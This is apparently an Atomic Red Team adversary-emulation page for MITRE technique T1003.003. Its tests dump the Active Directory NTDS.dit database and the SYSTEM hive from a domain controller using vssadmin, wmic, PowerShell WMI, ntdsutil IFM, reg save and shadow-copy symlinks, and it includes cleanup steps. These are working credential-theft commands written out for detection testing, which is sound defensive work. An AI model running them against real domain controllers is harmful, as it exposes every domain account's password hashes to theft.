Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in%SystemRoot%\NTDS\Ntds.dit
of a domain controller.(Citation: Wikipedia Active Directory)In addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
- Volume Shadow Copy
- secretsdump.py
- Using the in-built Windows tool, ntdsutil.exe
- Invoke-NinjaCopy
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
drive_letter | Drive letter to source VSC (including colon) | String | C: |
vssadmin.exe create shadow /for=#{drive_letter}
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT
echo Sorry, Promoting this machine to a Domain Controller must be done manually
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
This test requires steps taken in the test "Create Volume Shadow Copy with vssadmin". A successful test also requires the export of the SYSTEM Registry hive. This test must be executed on a Windows Domain Controller.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
vsc_name | Name of Volume Shadow Copy | String | \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 |
extract_path | Path for extracted NTDS.dit | Path | C:\Windows\Temp |
copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit
copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE
reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE
del "#{extract_path}\ntds.dit" >nul 2> nul
del "#{extract_path}\VSC_SYSTEM_HIVE" >nul 2> nul
del "#{extract_path}\SYSTEM_HIVE" >nul 2> nul
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT
echo Sorry, Promoting this machine to a Domain Controller must be done manually
if not exist #{vsc_name} (exit /b 1)
echo Run "Invoke-AtomicTest T1003.003 -TestName 'Create Volume Shadow Copy with vassadmin'" to fulfuill this requirement
if not exist #{extract_path} (exit /b 1)
mkdir #{extract_path}
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of subsequent domain controllers without the need of network-based replication.
Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
output_folder | Path where resulting dump should be placed | Path | C:\Windows\Temp\ntds_T1003 |
mkdir #{output_folder}
ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q
rmdir /q /s #{output_folder} >nul 2>&1
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT
echo Sorry, Promoting this machine to a Domain Controller must be done manually
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
drive_letter | Drive letter to source VSC (including colon) | String | C: |
wmic shadowcopy call create Volume=#{drive_letter}
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions /v ProductType | findstr LanmanNT
echo Sorry, Promoting this machine to a Domain Controller must be done manually
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
drive_letter | Drive letter to source VSC (including colon) | String | C: |
(gwmi -list win32_shadowcopy).Create(#{drive_letter},'ClientAccessible')
This test is intended to be run on a domain Controller.
The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
drive_letter | Drive letter to source VSC (including colon) | String | C: |
symlink_path | symlink path | String | C:\Temp\vssstore |
vssadmin.exe create shadow /for=#{drive_letter}
mklink /D #{symlink_path} \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1